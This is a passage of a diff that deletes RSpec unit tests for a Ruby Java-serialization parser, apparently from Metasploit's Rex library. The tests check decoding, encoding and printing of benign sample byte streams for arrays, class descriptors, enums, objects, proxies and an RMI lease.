new_class_desc.serial_version = 0xb9c818922e00c42
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'float'
|
||||
new_array.values = [1.0, 2.0]
|
||||
|
||||
expect(new_array.encode.unpack("C*")).to eq(float_array.unpack("C*"))
|
||||
end
|
||||
|
||||
it "serializes a int Array" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[I')
|
||||
new_class_desc.serial_version = 0x4dba602676eab2a5
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'int'
|
||||
new_array.values = [-20, 65]
|
||||
|
||||
expect(new_array.encode.unpack("C*")).to eq(int_array.unpack("C*"))
|
||||
end
|
||||
|
||||
it "serializes a long Array" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[J')
|
||||
new_class_desc.serial_version = 0x782004b512b17593
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'long'
|
||||
new_array.values = [-20, 65]
|
||||
|
||||
expect(new_array.encode.unpack("C*")).to eq(long_array.unpack("C*"))
|
||||
end
|
||||
|
||||
it "serializes a String (Objects) Array" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;')
|
||||
new_class_desc.serial_version = 0xadd256e7e91d7b47
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'java.lang.String;'
|
||||
new_array.values = [ Rex::Java::Serialization::Model::Utf.new(nil, 'msf') ]
|
||||
|
||||
expect(new_array.encode.unpack("C*")).to eq(string_array.unpack("C*"))
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a boolean array stream" do
|
||||
new_array.decode(boolean_array_io)
|
||||
expect(new_array.to_s).to eq('boolean, ["1", "0", "1", "1", "1", "1", "1", "1", "1", "0"]')
|
||||
end
|
||||
|
||||
it "prints a byte array stream" do
|
||||
new_array.decode(byte_array_io)
|
||||
expect(new_array.to_s).to eq('byte, ["-20", "65"]')
|
||||
end
|
||||
|
||||
it "prints a char array stream" do
|
||||
new_array.decode(char_array_io)
|
||||
expect(new_array.to_s).to eq('char, ["97", "98"]')
|
||||
end
|
||||
|
||||
it "prints a short array stream" do
|
||||
new_array.decode(short_array_io)
|
||||
expect(new_array.to_s).to eq('short, ["-20", "65"]')
|
||||
end
|
||||
|
||||
it "prints a double array stream" do
|
||||
new_array.decode(double_array_io)
|
||||
expect(new_array.to_s).to eq('double, ["0.25", "0.21"]')
|
||||
end
|
||||
|
||||
it "prints a float array stream" do
|
||||
new_array.decode(float_array_io)
|
||||
expect(new_array.to_s).to eq('float, ["1.0", "2.0"]')
|
||||
end
|
||||
|
||||
it "prints a int array stream" do
|
||||
new_array.decode(int_array_io)
|
||||
expect(new_array.to_s).to eq('int, ["-20", "65"]')
|
||||
end
|
||||
|
||||
it "prints a long array stream" do
|
||||
new_array.decode(long_array_io)
|
||||
expect(new_array.to_s).to eq('long, ["-20", "65"]')
|
||||
end
|
||||
|
||||
it "prints a string array stream" do
|
||||
new_array.decode(string_array_io)
|
||||
expect(new_array.to_s).to eq('java.lang.String;, ["msf"]')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,143 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::NewClassDesc do
|
||||
subject(:class_desc_new) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
"\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" +
|
||||
"\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" +
|
||||
"\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" +
|
||||
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" +
|
||||
"\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70"
|
||||
end
|
||||
|
||||
let(:sample_io) { StringIO.new(sample) }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::NewClassDesc" do
|
||||
expect(class_desc_new).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
|
||||
it "initializes class_name with nil" do
|
||||
expect(class_desc_new.class_name).to be_nil
|
||||
end
|
||||
|
||||
it "initializes serial_version with 0" do
|
||||
expect(class_desc_new.serial_version).to eq(0)
|
||||
end
|
||||
|
||||
it "initializes flags with 0" do
|
||||
expect(class_desc_new.flags).to eq(0)
|
||||
end
|
||||
|
||||
it "initializes fields with empty Array" do
|
||||
expect(class_desc_new.fields).to be_empty
|
||||
end
|
||||
|
||||
it "initializes class_annotation with nil" do
|
||||
expect(class_desc_new.class_annotation).to be_nil
|
||||
end
|
||||
|
||||
it "initializes super_class with nil" do
|
||||
expect(class_desc_new.super_class).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
|
||||
expect(class_desc_new.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
|
||||
it "deserializes class_name as Utf" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.class_name).to be_a(Rex::Java::Serialization::Model::Utf)
|
||||
end
|
||||
|
||||
it "deserializes class_name contents correctly" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.class_name.contents).to eq('java.lang.Byte')
|
||||
end
|
||||
|
||||
it "deserializes serial_version correctly" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.serial_version).to eq(0x9c4e6084ee50f51c)
|
||||
end
|
||||
|
||||
it "deserializes flags correctly" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.flags).to eq(2)
|
||||
end
|
||||
|
||||
it "deserializes fields" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.fields.length).to eq(1)
|
||||
end
|
||||
|
||||
it "deserializes fields contents correctly" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.fields[0].type).to eq('byte')
|
||||
end
|
||||
|
||||
it "deserializes class annotation correctly" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
|
||||
end
|
||||
|
||||
it "deserializes class annotation contents" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData)
|
||||
end
|
||||
|
||||
it "deserializes super_class" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
|
||||
end
|
||||
|
||||
it "deserializes super class description" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "serializes a NewClassDesc" do
|
||||
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number')
|
||||
super_class_desc_new.serial_version = 0x86ac951d0b94e08b
|
||||
super_class_desc_new.flags = 2
|
||||
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
super_class_desc.description = super_class_desc_new
|
||||
|
||||
class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte')
|
||||
class_desc_new.serial_version = 0x9c4e6084ee50f51c
|
||||
class_desc_new.flags = 2
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = 'byte'
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value')
|
||||
class_desc_new.fields << field
|
||||
class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
class_desc_new.super_class = super_class_desc
|
||||
|
||||
expect(class_desc_new.encode.unpack("C*")).to eq(sample.unpack("C*"))
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a sample NewClassDesc stream" do
|
||||
class_desc_new.decode(sample_io)
|
||||
expect(class_desc_new.to_s).to eq('java.lang.Byte, [ value (byte) ], @super_class: java.lang.Number')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,83 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::NewEnum do
|
||||
|
||||
subject(:new_enum) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample_enum) do
|
||||
"\x72\x00\x09\x45\x6e\x75\x6d\x73" +
|
||||
"\x24\x44\x61\x79\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x12\x00\x00\x78" +
|
||||
"\x72\x00\x0e\x6a\x61\x76\x61\x2e" +
|
||||
"\x6c\x61\x6e\x67\x2e\x45\x6e\x75" +
|
||||
"\x6d\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x12\x00\x00\x78\x70\x74\x00" +
|
||||
"\x06\x53\x55\x4e\x44\x41\x59"
|
||||
end
|
||||
|
||||
let(:sample_enum_io) { StringIO.new(sample_enum) }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::NewEnum" do
|
||||
expect(new_enum).to be_a(Rex::Java::Serialization::Model::NewEnum)
|
||||
end
|
||||
|
||||
it "initializes enum_description with nil" do
|
||||
expect(new_enum.enum_description).to be_nil
|
||||
end
|
||||
|
||||
it "initializes constant_name with nil" do
|
||||
expect(new_enum.constant_name).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
it "deserializes an Enum" do
|
||||
expect(new_enum.decode(sample_enum_io)).to be_a(Rex::Java::Serialization::Model::NewEnum)
|
||||
end
|
||||
|
||||
it "deserializes the constant_name correctly" do
|
||||
new_enum.decode(sample_enum_io)
|
||||
expect(new_enum.constant_name.contents).to eq('SUNDAY')
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "serializes an Enum" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Enums$Day')
|
||||
new_class_desc.serial_version = 0
|
||||
new_class_desc.flags = 18
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.super_class.description.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Enum')
|
||||
new_class_desc.super_class.description.serial_version = 0
|
||||
new_class_desc.super_class.description.flags = 18
|
||||
new_class_desc.super_class.description.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.super_class.description.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class.description.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_enum.enum_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_enum.enum_description.description = new_class_desc
|
||||
new_enum.constant_name = Rex::Java::Serialization::Model::Utf.new(nil, 'SUNDAY')
|
||||
|
||||
expect(new_enum.encode.unpack("C*")).to eq(sample_enum.unpack("C*"))
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a sample NewEnum stream" do
|
||||
new_enum.decode(sample_enum_io)
|
||||
expect(new_enum.to_s).to eq('SUNDAY')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,82 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::NewObject do
|
||||
|
||||
subject(:new_object) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:easy_object) do
|
||||
"\x72\x00\x04\x45\x61\x73\x79\x74" +
|
||||
"\x1d\xe1\xbc\xbb\x2f\xcb\xaa\x02" +
|
||||
"\x00\x01\x49\x00\x03\x53\x53\x4e" +
|
||||
"\x78\x70\x41\x42\x43\x44"
|
||||
end
|
||||
|
||||
let(:easy_object_io) { StringIO.new(easy_object) }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::NewObject" do
|
||||
expect(new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
|
||||
end
|
||||
|
||||
it "initializes class_desc with nil" do
|
||||
expect(new_object.class_desc).to be_nil
|
||||
end
|
||||
|
||||
it "initializes class_data with empty array" do
|
||||
expect(new_object.class_data).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
it "deserializes an object" do
|
||||
expect(new_object.decode(easy_object_io)).to be_a(Rex::Java::Serialization::Model::NewObject)
|
||||
end
|
||||
|
||||
it "deserializes the object class fields correctly" do
|
||||
new_object.decode(easy_object_io)
|
||||
expect(new_object.class_desc.description.fields.length).to eq(1)
|
||||
end
|
||||
|
||||
it "deserializes the object class data correctly" do
|
||||
new_object.decode(easy_object_io)
|
||||
expect(new_object.class_data).to eq([['int', 0x41424344]])
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe "#encode" do
|
||||
it "serializes an Object" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy')
|
||||
new_class_desc.serial_version = 0x741de1bcbb2fcbaa
|
||||
new_class_desc.flags = 2
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = 'int'
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN')
|
||||
new_class_desc.fields << field
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = [['int', 0x41424344]]
|
||||
|
||||
expect(new_object.encode.unpack("C*")).to eq(easy_object.unpack("C*"))
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a sample Object stream" do
|
||||
new_object.decode(easy_object_io)
|
||||
expect(new_object.to_s).to eq('Easy => { ["int", 1094861636] }')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,115 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::ProxyClassDesc do
|
||||
subject(:proxy_class_desc) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
"\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" +
|
||||
"\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" +
|
||||
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" +
|
||||
"\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" +
|
||||
"\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" +
|
||||
"\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" +
|
||||
"\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70"
|
||||
end
|
||||
|
||||
let(:sample_io) { StringIO.new(sample) }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::ProxyClassDesc" do
|
||||
expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
|
||||
end
|
||||
|
||||
it "initializes interfaces with empty Array" do
|
||||
expect(proxy_class_desc.interfaces).to be_empty
|
||||
end
|
||||
|
||||
it "initializes class_annotation with nil" do
|
||||
expect(proxy_class_desc.class_annotation).to be_nil
|
||||
end
|
||||
|
||||
it "initializes super_class with nil" do
|
||||
expect(proxy_class_desc.super_class).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do
|
||||
expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
|
||||
end
|
||||
|
||||
it "deserializes interfaces" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.interfaces.length).to eq(1)
|
||||
end
|
||||
|
||||
it "deserializes interfaces contents correctly" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello')
|
||||
end
|
||||
|
||||
it "deserializes class annotation correctly" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
|
||||
end
|
||||
|
||||
it "deserializes class annotation contents" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference)
|
||||
end
|
||||
|
||||
it "deserializes super_class" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
|
||||
end
|
||||
|
||||
it "deserializes super class description" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "serializes a ProxyClassDesc" do
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = 'object'
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h')
|
||||
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;')
|
||||
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy')
|
||||
super_class_desc_new.serial_version = 0xe127da20cc1043cb
|
||||
super_class_desc_new.flags = 2
|
||||
super_class_desc_new.fields << field
|
||||
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
super_class_desc.description = super_class_desc_new
|
||||
|
||||
interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello')
|
||||
proxy_class_desc.interfaces << interface
|
||||
proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
proxy_class_desc.super_class = super_class_desc
|
||||
|
||||
expect(proxy_class_desc.encode).to eq(sample)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a sample NewClassDesc stream" do
|
||||
proxy_class_desc.decode(sample_io)
|
||||
expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,428 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::Stream do
|
||||
|
||||
subject(:stream) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:easy_object_stream) do
|
||||
"\xac\xed\x00\x05\x73\x72\x00\x04" +
|
||||
"\x45\x61\x73\x79\x74\x1d\xe1\xbc" +
|
||||
"\xbb\x2f\xcb\xaa\x02\x00\x01\x49" +
|
||||
"\x00\x03\x53\x53\x4e\x78\x70\x41" +
|
||||
"\x42\x43\x44"
|
||||
end
|
||||
let(:easy_object_stream_io) { StringIO.new(easy_object_stream) }
|
||||
let(:easy_object_stream_to_s) {
|
||||
<<-EOS
|
||||
@magic: 0xaced
|
||||
@version: 5
|
||||
@contents: [
|
||||
NewObject { Easy => { ["int", 1094861636] } }
|
||||
]
|
||||
@references: [
|
||||
[7e0000] NewClassDesc { Easy, [ SSN (int) ] }
|
||||
[7e0001] NewObject { Easy => { ["int", 1094861636] } }
|
||||
]
|
||||
EOS
|
||||
}
|
||||
|
||||
let(:char_array_stream) do
|
||||
"\xac\xed\x00\x05\x75\x72\x00\x02" +
|
||||
"\x5b\x43\xb0\x26\x66\xb0\xe2\x5d" +
|
||||
"\x84\xac\x02\x00\x00\x78\x70\x00" +
|
||||
"\x00\x00\x02\x00\x61\x00\x62"
|
||||
end
|
||||
let(:char_array_stream_io) { StringIO.new(char_array_stream) }
|
||||
let(:char_array_stream_to_s) {
|
||||
<<-EOS
|
||||
@magic: 0xaced
|
||||
@version: 5
|
||||
@contents: [
|
||||
NewArray { char, ["97", "98"] }
|
||||
]
|
||||
@references: [
|
||||
[7e0000] NewClassDesc { [C, [ ] }
|
||||
[7e0001] NewArray { char, ["97", "98"] }
|
||||
]
|
||||
EOS
|
||||
}
|
||||
|
||||
let(:complex_stream) do
|
||||
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
|
||||
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
|
||||
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
|
||||
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
|
||||
"\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e\x72" +
|
||||
"\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44\xa7" +
|
||||
"\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62\x6a" +
|
||||
"\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c\x6a" +
|
||||
"\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55" +
|
||||
"\x49\x44\x3b\x70\x78\x70\x0d\xc1\x1e\x2a\x94\x5e\x2f\xb2\x73\x72" +
|
||||
"\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" +
|
||||
"\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00\x03" +
|
||||
"\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65\x49" +
|
||||
"\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x16\x00\x00\x01" +
|
||||
"\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00\x00" +
|
||||
"\x00\x00\x01\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" +
|
||||
"\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a\xdc" +
|
||||
"\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04\x76" +
|
||||
"\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f" +
|
||||
"\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00\x00" +
|
||||
"\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
||||
"\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5\x6d" +
|
||||
"\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b\x42" +
|
||||
"\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75\x72" +
|
||||
"\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70" +
|
||||
"\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73\x71" +
|
||||
"\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62" +
|
||||
"\xc1\xc0"
|
||||
end
|
||||
let(:complex_stream_io) { StringIO.new(complex_stream) }
|
||||
let(:complex_stream_to_s) {
|
||||
<<-EOS
|
||||
@magic: 0xaced
|
||||
@version: 5
|
||||
@contents: [
|
||||
BlockData { [ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf6, 0xb6, 0x89, 0x8d, 0x8b, 0xf2, 0x86, 0x43 ] }
|
||||
NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] }
|
||||
BlockData { [ 0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1 ] }
|
||||
NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } }
|
||||
]
|
||||
@references: [
|
||||
